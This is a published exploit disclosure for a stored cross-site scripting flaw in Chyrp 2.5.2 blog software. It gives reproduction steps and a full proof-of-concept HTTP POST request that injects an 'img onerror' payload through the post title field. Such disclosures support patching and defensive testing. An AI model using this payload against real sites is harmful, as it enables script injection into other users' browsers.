Chyrp 2.5.2 Cross Site Scripting

# Chyrp 2.5.2 - Stored Cross-Site Scripting (XSS)# Date: 2024-04-24# Exploit Author: Ahmet Ümit BAYRAM# Vendor Homepage: https://github.com/chyrp/# Software Link: https://github.com/chyrp/chyrp/archive/refs/tags/v2.5.2.zip# Version: 2.5.2# Tested on: MacOS### Steps to Reproduce ###- Login from the address: http://localhost/chyrp/?action=login.- Click on 'Write'.- Type this payload into the 'Title' field: "><img src=x onerror=alert("Stored")>- Fill in the 'Body' area and click 'Publish'.- An alert message saying "Stored" will appear in front of you.### PoC Request ###POST /chyrp/admin/?action=add_post HTTP/1.1Host: localhostCookie: ChyrpSession=c4194c16a28dec03e449171087981d11;show_more_options=trueUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0)Gecko/20100101 Firefox/124.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflate, brContent-Type: multipart/form-data;boundary=---------------------------28307567523233313132815561598Content-Length: 1194Origin: http://localhostReferer: http://localhost/chyrp/admin/?action=write_postUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Te: trailersConnection: close-----------------------------28307567523233313132815561598Content-Disposition: form-data; name="title""><img src=x onerror=alert("Stored")>-----------------------------28307567523233313132815561598Content-Disposition: form-data; name="body"<p>1337</p>-----------------------------28307567523233313132815561598Content-Disposition: form-data; name="status"public-----------------------------28307567523233313132815561598Content-Disposition: form-data; name="slug"-----------------------------28307567523233313132815561598Content-Disposition: form-data; name="created_at"04/24/24 12:31:57-----------------------------28307567523233313132815561598Content-Disposition: form-data; name="original_time"04/24/24 12:31:57-----------------------------28307567523233313132815561598Content-Disposition: form-data; name="trackbacks"-----------------------------28307567523233313132815561598Content-Disposition: form-data; name="feather"text-----------------------------28307567523233313132815561598Content-Disposition: form-data; name="hash"11e11aba15114f918ec1c2e6b8f8ddcf-----------------------------28307567523233313132815561598--